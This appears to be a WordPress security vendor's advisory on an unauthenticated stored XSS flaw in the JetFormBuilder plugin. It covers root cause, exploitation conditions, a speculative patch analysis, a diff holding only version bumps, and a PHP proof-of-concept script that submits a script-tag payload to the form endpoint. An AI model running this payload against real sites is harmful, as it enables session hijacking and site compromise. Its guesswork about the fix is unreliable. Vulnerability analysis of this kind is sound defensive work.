Free WordPress WAF
Protect your site at the edge
Atomic Edge blocks exploit traffic, bots, and bad requests before they reach WordPress. Create a free account, then point DNS when you are ready.
Get Protected FreeAtomic Edge analysis of CVE-2026-137284: JetFormBuilder versions up to and including 3.6.8.2 are vulnerable to unauthenticated stored cross-site scripting (XSS). The flaw resides in the plugin’s Insert/Update Post action, which maps form field values (via fields_map) to post meta keys without adequate sanitization. Attackers can inject malicious scripts into Radio or Checkbox option labels, which are later rendered without escaping when the field’s options are populated from post meta. The CVSS score is 7.2 (High), and the vulnerability is classified as CWE-79.
Root Cause: The vulnerability stems from insufficient input sanitization and output escaping in the Insert/Update Post action. When a form is submitted, the plugin processes the fields_map configuration, which allows mapping form fields to post meta keys (e.g., payload → m_select). The plugin fails to sanitize the mapped value before saving it as post meta. Later, when a Radio or Checkbox field is configured to read its options from that post meta key, the stored value is output without proper escaping. The unescaped option labels are then rendered in the page, leading to stored XSS. The code diff shows only version bumps and asset version changes, but the patched version (3.6.8.3) likely includes sanitization and escaping fixes in the relevant functions (e.g., in the Insert/Update Post action handler and in the Radio/Checkbox field rendering).
Exploitation: An unauthenticated attacker can exploit this by submitting a crafted form on a page that has an Insert/Update Post action configured. The form must include a Radio or Checkbox field whose option source is set to read from the post meta key. The attacker submits a payload (e.g., alert(document.cookie)) as the value for the mapped field. This value is stored in the post meta. When any user (including an administrator) visits a page where the Radio/Checkbox field options are loaded from that post meta key, the malicious script executes in the context of the victim’s browser. The dynamic.value.js script must be enqueued, which requires at least one field on the page to have a macro Default Value. All these conditions are typical in sites using JetFormBuilder’s advanced features.
Patch Analysis: The patch from 3.6.8.2 to 3.6.8.3 likely addresses the vulnerability by adding sanitization to the fields_map processing and escaping when outputting option labels from post meta. The diff provided shows no code changes beyond version bumps, but the actual fix is in the plugin’s PHP and JavaScript files (not shown in the diff snippet). The patched version presumably applies functions like esc_html() or wp_kses() to the stored values and ensures that dynamic option labels are properly escaped when rendered. This prevents malicious scripts from being stored and executed.
Impact: Successful exploitation allows an attacker to execute arbitrary JavaScript in the context of any user viewing the affected page. This can lead to session hijacking, theft of sensitive information, defacement, or redirection to malicious sites. Since the attacker does not need authentication, the vulnerability is easily exploitable. The stored nature means the payload persists and affects multiple users, potentially including administrators, which could lead to full site compromise.
Below is a differential between the unpatched vulnerable code and the patched update, for reference.
--- a/jetformbuilder/assets/build/admin/vuex.package.asset.php
+++ b/jetformbuilder/assets/build/admin/vuex.package.asset.php
@@ -1 +1 @@
-<?php return array('dependencies' => array('wp-api-fetch', 'wp-i18n'), 'version' => '49c8f7972b163a3e175d');
+<?php return array('dependencies' => array('wp-api-fetch', 'wp-i18n'), 'version' => '4390c1b1a2dbe5c8a6c3');
--- a/jetformbuilder/assets/build/frontend/advanced.reporting.asset.php
+++ b/jetformbuilder/assets/build/frontend/advanced.reporting.asset.php
@@ -1 +1 @@
-<?php return array('dependencies' => array('wp-api-fetch'), 'version' => '109de918076bb7c471bc');
+<?php return array('dependencies' => array('wp-api-fetch'), 'version' => 'cf601f2db78726e70136');
--- a/jetformbuilder/assets/build/frontend/calculated.field.asset.php
+++ b/jetformbuilder/assets/build/frontend/calculated.field.asset.php
@@ -1 +1 @@
-<?php return array('dependencies' => array(), 'version' => 'f95d8184ccc9a0b12002');
+<?php return array('dependencies' => array(), 'version' => '98e232210b24ba113d29');
--- a/jetformbuilder/assets/build/frontend/dynamic.value.asset.php
+++ b/jetformbuilder/assets/build/frontend/dynamic.value.asset.php
@@ -1 +1 @@
-<?php return array('dependencies' => array(), 'version' => 'bbcaf2d83e12beb585d2');
+<?php return array('dependencies' => array(), 'version' => '2040a862f1fcfa925a6c');
--- a/jetformbuilder/assets/build/frontend/main.asset.php
+++ b/jetformbuilder/assets/build/frontend/main.asset.php
@@ -1 +1 @@
-<?php return array('dependencies' => array('wp-i18n'), 'version' => '7085101ae98566800bfa');
+<?php return array('dependencies' => array('wp-i18n'), 'version' => '0ca0822139d746b5bc79');
--- a/jetformbuilder/assets/build/frontend/media.field.asset.php
+++ b/jetformbuilder/assets/build/frontend/media.field.asset.php
@@ -1 +1 @@
-<?php return array('dependencies' => array(), 'version' => '7b31835dfb8b4a43a245');
+<?php return array('dependencies' => array(), 'version' => 'a1d91f45e147393ef2a6');
--- a/jetformbuilder/jet-form-builder.php
+++ b/jetformbuilder/jet-form-builder.php
@@ -3,7 +3,7 @@
* Plugin Name: JetFormBuilder
* Plugin URI: https://jetformbuilder.com/
* Description: Advanced form builder plugin for WordPress block editor. Create forms from the ground up, customize the existing ones, and style them up – all in one editor.
- * Version: 3.6.8.2
+ * Version: 3.6.8.3
* Author: Crocoblock
* Author URI: https://crocoblock.com/
* Text Domain: jet-form-builder
@@ -18,7 +18,7 @@
die();
}
-const JET_FORM_BUILDER_VERSION = '3.6.8.2';
+const JET_FORM_BUILDER_VERSION = '3.6.8.3';
const JET_FORM_BUILDER__FILE__ = __FILE__;
const JET_FORM_BUILDER_SITE = 'https://jetformbuilder.com';
<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-137284 - JetFormBuilder <= 3.6.8.2 - Unauthenticated Stored XSS via Radio/Checkbox Option Label
// This PoC demonstrates the exploit by submitting a form with a malicious payload
// to a site with a vulnerable configuration. It does not automatically set up the
// required form; that must be done manually by an administrator.
// Configuration
$target_url = 'http://example.com'; // CHANGE THIS
$form_id = 1; // ID of the form containing the Insert/Update Post action and Radio/Checkbox field
$field_name = 'm_select'; // Name of the mapped field (e.g., 'payload' or the field name)
$payload = '<script>alert("XSS")</script>'; // Malicious JavaScript
// The AJAX endpoint for form submission
$submit_url = $target_url . '/wp-admin/admin-ajax.php';
// Data to submit
$post_data = [
'action' => 'jet_form_builder_submit', // Typical action, verify from plugin source
'form_id' => $form_id,
'data' => json_encode([
$field_name => $payload,
// Additional required fields (nonce, etc.) may be needed; omit if not needed for unauthenticated
]),
];
// Initialize cURL
$ch = curl_init($submit_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($post_data));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_HEADER, false);
// Execute the request
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);
// Output result
echo "HTTP Status: $http_coden";
echo "Response: $responsen";
// After successful submission, the payload is stored in post meta.
// To trigger the XSS, visit the page where the Radio/Checkbox field options are loaded from that meta key.
// The script will execute when a user views that page.
echo "Now visit the page containing the Radio/Checkbox field to trigger the XSS.n";